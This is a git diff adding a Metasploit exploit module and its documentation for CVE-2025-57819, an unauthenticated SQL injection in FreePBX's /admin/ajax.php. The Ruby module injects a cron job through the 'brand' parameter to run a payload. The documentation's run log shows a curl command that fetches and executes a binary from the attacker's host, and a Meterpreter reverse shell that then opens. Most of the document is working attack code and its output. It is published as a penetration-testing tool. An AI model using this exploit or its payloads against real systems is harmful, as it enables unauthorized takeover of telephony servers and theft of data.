diff --git a/documentation/modules/exploit/unix/http/freepbx_unauth_sqli_to_rce.md b/documentation/modules/exploit/unix/http/freepbx_unauth_sqli_to_rce.md new file mode 100644 index 0000000000000..449bc92bb32b2 --- /dev/null +++ b/documentation/modules/exploit/unix/http/freepbx_unauth_sqli_to_rce.md @@ -0,0 +1,115 @@ +## Vulnerable Application +FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17 +endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing +unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation +and remote code execution. +This module exploits a vulnerability chain in FreePBX, tracked as CVE-2025-57819. +An authentication bypass exposes unauthenticated access to `/admin/ajax.php`, which +contains a SQL injection flaw. By leveraging this vulnerability, an attacker can +achieve remote code execution through the creation of cron jobs under the `asterisk` +database user context. + +The following FreePBX version has been tested: + +- FreePBX 16.0.33 + + +## Testing +To set up a test environment: +1. Install FreePBX and perform basic minimum setup (prompted by installer). I used proxmox to get a working installation. [Link](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso) +2. Confirm that the web service on port 80/443 is reachable. +3. Follow the verification steps below. + +## Options +No custom options exist for this module. + +## Verification Steps +1. Start msfconsole +2. `use exploit/unix/http/freepbx_unauth_sqli_to_rce` +3. `set RHOSTS ` +4. `set RPORT ` +5. `run` + +## Scenarios +### FreePBX Linux Target +``` +msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > show options + +Module options (exploit/unix/http/freepbx_unauth_sqli_to_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapni, socks4 + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / no The URI for the FreePBX installation + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8 (Accepted: none, bash, python3.8+) + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + + When FETCH_COMMAND is one of CURL,GET,WGET: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell. + + + When FETCH_FILELESS is none: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_FILENAME dCIEGUvcv no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces + + +Exploit target: + + Id Name + -- ---- + 0 Unix Command + + + +View the full module info with the info, or info -d command. + +msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set RHOSTS 192.168.1.116 +RHOSTS => 192.168.1.116 +msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set LHOST eth0 +LHOST => 192.168.1.65 +msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > set VERBOSE true +VERBOSE => true +msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > run +[*] Command to run on remote host: curl -so ./KjFruDjiGx http://192.168.1.65:8080/V3hgkVKmhAqViDKE6xmupA;chmod +x ./KjFruDjiGx;./KjFruDjiGx& +[*] Fetch handler listening on 192.168.1.65:8080 +[*] HTTP server started +[*] Adding resource /V3hgkVKmhAqViDKE6xmupA +[*] Started reverse TCP handler on 192.168.1.65:4444 +[+] Created cronjob with job name: 'BUQm' +[*] Waiting for cronjob to trigger... +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3090404 bytes) to 192.168.1.116 +[*] Meterpreter session 1 opened (192.168.1.65:4444 -> 192.168.1.116:39258) at 2025-09-21 16:21:38 -0400 +[*] Attempting to perform cleanup +[+] Cronjob removed, happy hacking! + +meterpreter > sysinfo +Computer : freepbx.sangoma.local +OS : Red Hat 7.8.2003 (Linux 3.10.0-1127.19.1.el7.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` \ No newline at end of file diff --git a/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb new file mode 100644 index 0000000000000..75d614c74f51a --- /dev/null +++ b/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FreePBX ajax.php unuthenticated SQLi to RCE', + 'Description' => %q{ + This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89, + and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without + authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing + remote code execution on the target system. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Echo_Slow', # msf module + 'Piotr Bazydlo', # POC used as a template + 'Sonny' # POC used as a template + ], + 'References' => [ + ['CVE', '2025-57819'], + ['URL', 'https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/'] + ], + 'Platform' => ['linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [ + [ + 'Unix Command', + { + 'DefaultOptions' => + { + 'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', + 'WfsDelay' => 70 # cronjob may take up to a minute to start + } + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2025-08-28', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new( + 'TARGETURI', + [false, 'The URI for the FreePBX installation', '/'] + ) + ] + ) + end + + def check + print_status('Checking if vulnerable...') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), + 'vars_get' => { + 'module' => 'FreePBX\\modules\\endpoint\\ajax', + 'command' => 'model', + 'template' => Rex::Text.rand_text_alphanumeric(3..6), + 'model' => Rex::Text.rand_text_alphanumeric(3..6), + 'brand' => "#{Rex::Text.rand_text_alphanumeric(3..6)}'" + } + ) + + if res&.code == 500 && res.body =~ /You have an error in your SQL syntax/ + return Exploit::CheckCode::Vulnerable('Detected SQL injection') + end + + Exploit::CheckCode::Safe('No SQL injection detected, target is patched') + end + + def exploit + module_name = Rex::Text.rand_text_alpha(4..7) + @job_name = Rex::Text.rand_text_alpha(4..7) + + rce_payload = Rex::Text.rand_text_alpha(4..7) + rce_payload << "';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)" + rce_payload << " VALUES ('#{module_name}','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1) -- " + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), + 'vars_get' => { + 'module' => 'FreePBX\\modules\\endpoint\\ajax', + 'command' => 'model', + 'template' => Rex::Text.rand_text_alphanumeric(3..6), + 'model' => Rex::Text.rand_text_alphanumeric(3..6), + 'brand' => rce_payload + } + ) + + if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/ + print_good("Created cronjob with job name: '#{@job_name}'") + print_status('Waiting for cronjob to trigger...') + else + fail_with(Failure::PayloadFailed, 'Cronjob was not created.') + end + end + + def cleanup + super + + return unless @job_name + + # Remove the created cronjob + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax.php'), + 'vars_get' => { + 'module' => 'FreePBX\\modules\\endpoint\\ajax', + 'command' => 'model', + 'template' => Rex::Text.rand_text_alphanumeric(3..6), + 'model' => Rex::Text.rand_text_alphanumeric(3..6), + 'brand' => "'; DELETE FROM cron_jobs WHERE jobname=\'#{@job_name}\' -- " + } + ) + + print_status('Attempting to perform cleanup') + + if res&.code == 500 && res.body =~ /Trying to access array offset on value of type bool/ + print_good('Cronjob removed, happy hacking!') + else + print_bad('Cronjob not removed, please perform manual cleanup!') + end + end +end